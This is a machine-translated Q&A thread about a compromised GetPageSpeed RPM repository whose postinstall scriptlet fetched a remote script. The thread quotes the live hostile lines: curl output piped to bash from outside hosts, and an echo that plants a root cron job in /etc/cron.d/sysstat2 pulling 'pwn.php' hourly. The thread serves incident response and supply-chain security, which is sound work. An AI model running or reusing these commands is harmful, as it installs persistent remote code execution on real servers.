web-dev-qa-db-ja.com

このRPMをインストールすると、どのようにファイルが作成されましたか?

yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmを実行すると/etc/cron.d/sysstat2が作成されますが、RPMはファイルを拒否します。

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

RPMはどのようにしてファイルを作成し、他に何をしたのかをどのように確認しますか?

16
Pascal
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.phpに含まれるもの:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
18
Pascal

Rpmのスクリプトがインターネットからスクリプトを実行していることを発見しました。そのスクリプトは現在、マルウェアである可能性のあるものにリダイレクトしています。しかし、私は何かをするペイロードの多くを見つけていません。

rpmは任意のスクリプトを実行しているため、何が起こったかを完全に追跡することはできません。

gpgcheckはあなたを助けません、両方のgetpagespeed-extras-7-6.el7.gps.noarch.rpmおよびgetpagespeed-extras-release-7-1.el7.gps.noarch.rpmリンクした署名は有効です:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <[email protected]>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

パッケージがインターネットから任意のコードを実行することをリポジトリの所有者に訴えます。そうする必要がある場合は、ソフトウェアサプライチェーンのセキュリティを改善する必要があります。

インターネットにアクセスせずにソフトウェアの最初のインストールを行うか、「インストール後」のスクリプトを手動で検査するのは少し偏執的です。しかし、残念なことに、パッケージがこのような不適切なアドバイスをする場合は、ほぼ必要と思われます。

16
John Mahowald

私は5つのCLoudLinux/cPanelサーバーを使用していましたが、以前はEngintron経由でNginxを使用していましたが、代わりにLiteSpeed Webサーバーを実行しています。 Engintronは、アンインストールされたときに、pageppedリポジトリを残した可能性があります。 cPanelは毎晩更新チェックを実行し、真夜中頃にすべてのサーバーが私に電子メールレポートを送信しました。

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

ペイロードサイトを検索したところ、同じ日に同じ問題が発生したことがわかりました。自分の情報を自分の情報に追加します。同じ /etc/cron.d/sysstat2ファイルがすべてのサーバーに存在しました。

ファイルを削除し、リポジトリを削除し、GetPageSpeedの連絡フォームを使用して問題を報告しました。レポの所有者は、健康上の問題のためにレポをシャットダウンしているとブログに投稿したため、AWOLである可能性があります。そのため、攻撃者はレポが注目されていないという事実を利用したか、悪用の可能性を見つけたのかもしれません。

1
John C. Reid